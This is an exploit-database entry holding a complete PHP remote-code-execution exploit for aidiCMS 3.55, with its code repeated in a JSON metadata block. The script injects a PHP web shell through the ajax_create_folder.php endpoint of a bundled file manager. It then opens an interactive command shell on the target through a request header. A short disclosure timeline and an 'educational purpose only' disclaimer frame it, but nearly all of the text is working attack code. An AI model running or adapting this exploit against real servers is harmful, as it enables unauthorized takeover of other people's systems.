ID EXPLOITPACK:9F8BBC6257FFB6BBAF2614B601991A2D
Type exploitpack
Reporter EgiX
Modified 2011-11-05T00:00:00
Description
aidiCMS 3.55 - ajax_create_folder.php Remote Code Execution
<?php
/*
--------------------------------------------------------------------
aidiCMS v3.55 (ajax_create_folder.php) Remote Code Execution Exploit
--------------------------------------------------------------------
author............: Egidio Romano aka EgiX
mail..............: n0b0d13s[at]gmail[dot]com
software link.....: http://code.google.com/p/aidicms/
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Vulnerability overview:
aidiCMS v3.55 is affected by the vulnerability that I reported to http://www.exploit-db.com/exploits/18075/
[-] Disclosure timeline:
[23/10/2011] - Vulnerability discovered
[24/10/2011] - Issue reported to http://code.google.com/p/aidicms/issues/detail?id=3
[26/10/2011] - Project members contacted via e-mail
[04/11/2011] - Still no response received
[05/11/2011] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die( "\n[-] No response from {$host}:80\n");
fwrite($sock, $packet);
return stream_get_contents($sock);
}
print "\n+-----------------------------------------------------+";
print "\n| aidiCMS v3.55 Remote Code Execution Exploit by EgiX |";
print "\n+-----------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /aidicms/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$packet = "POST {$path}modul/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
http_send($host, $packet);
$packet = "GET {$path}modul/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while(1)
{
print "\naidicms-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
print $m[1] : die("\n[-] Exploit failed!\n");
}
?>
{"lastseen": "2020-04-01T19:05:47", "references": [], "description": "\naidiCMS 3.55 - ajax_create_folder.php Remote Code Execution", "edition": 1, "reporter": "EgiX", "exploitpack": {"type": "webapps", "platform": "php"}, "published": "2011-11-05T00:00:00", "title": "aidiCMS 3.55 - ajax_create_folder.php Remote Code Execution", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:05:47", "rev": 2}, "score": {"value": -0.0, "vector": "NONE", "modified": "2020-04-01T19:05:47", "rev": 2}, "vulnersScore": -0.0}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2011-11-05T00:00:00", "id": "EXPLOITPACK:9F8BBC6257FFB6BBAF2614B601991A2D", "href": "", "viewCount": 1, "sourceData": "<?php\n\n/*\n --------------------------------------------------------------------\n aidiCMS v3.55 (ajax_create_folder.php) Remote Code Execution Exploit\n --------------------------------------------------------------------\n \n author............: Egidio Romano aka EgiX\n mail..............: n0b0d13s[at]gmail[dot]com\n software link.....: http://code.google.com/p/aidicms/\n \n +-------------------------------------------------------------------------+\n | This proof of concept code was written for educational purpose only. |\n | Use it at your own risk. Author will be not responsible for any damage. |\n +-------------------------------------------------------------------------+\n \n [-] Vulnerability overview:\n \n aidiCMS v3.55 is affected by the vulnerability that I reported to http://www.exploit-db.com/exploits/18075/\n \n [-] Disclosure timeline:\n \n [23/10/2011] - Vulnerability discovered\n [24/10/2011] - Issue reported to http://code.google.com/p/aidicms/issues/detail?id=3\n [26/10/2011] - Project members contacted via e-mail\n [04/11/2011] - Still no response received\n [05/11/2011] - Public disclosure\n\n*/\n\nerror_reporting(0);\nset_time_limit(0);\nini_set(\"default_socket_timeout\", 5);\n\nfunction http_send($host, $packet)\n{\n if (!($sock = fsockopen($host, 80)))\n die( \"\\n[-] No response from {$host}:80\\n\");\n\n fwrite($sock, $packet);\n return stream_get_contents($sock);\n}\n\nprint \"\\n+-----------------------------------------------------+\";\nprint \"\\n| aidiCMS v3.55 Remote Code Execution Exploit by EgiX |\";\nprint \"\\n+-----------------------------------------------------+\\n\";\n\nif ($argc < 3)\n{\n print \"\\nUsage......: php $argv[0] <host> <path>\\n\";\n print \"\\nExample....: php $argv[0] localhost /\";\n print \"\\nExample....: php $argv[0] localhost /aidicms/\\n\";\n die();\n}\n\n$host = $argv[1];\n$path = $argv[2];\n\n$payload = \"foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\\$_SERVER[HTTP_CMD]));die; ?>\";\n$packet = \"POST {$path}modul/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\\r\\n\";\n$packet .= \"Host: {$host}\\r\\n\";\n$packet .= \"Content-Length: \".strlen($payload).\"\\r\\n\";\n$packet .= \"Content-Type: application/x-www-form-urlencoded\\r\\n\";\n$packet .= \"Connection: close\\r\\n\\r\\n{$payload}\";\n\nhttp_send($host, $packet);\n\n$packet = \"GET {$path}modul/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\\r\\n\";\n$packet .= \"Host: {$host}\\r\\n\";\n$packet .= \"Cmd: %s\\r\\n\";\n$packet .= \"Connection: close\\r\\n\\r\\n\";\n\nwhile(1)\n{\n print \"\\naidicms-shell# \";\n if (($cmd = trim(fgets(STDIN))) == \"exit\") break;\n preg_match(\"/_code_(.*)/s\", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?\n print $m[1] : die(\"\\n[-] Exploit failed!\\n\");\n}\n\n?>", "cvss": {"score": 0.0, "vector": "NONE"}, "immutableFields": []}
{}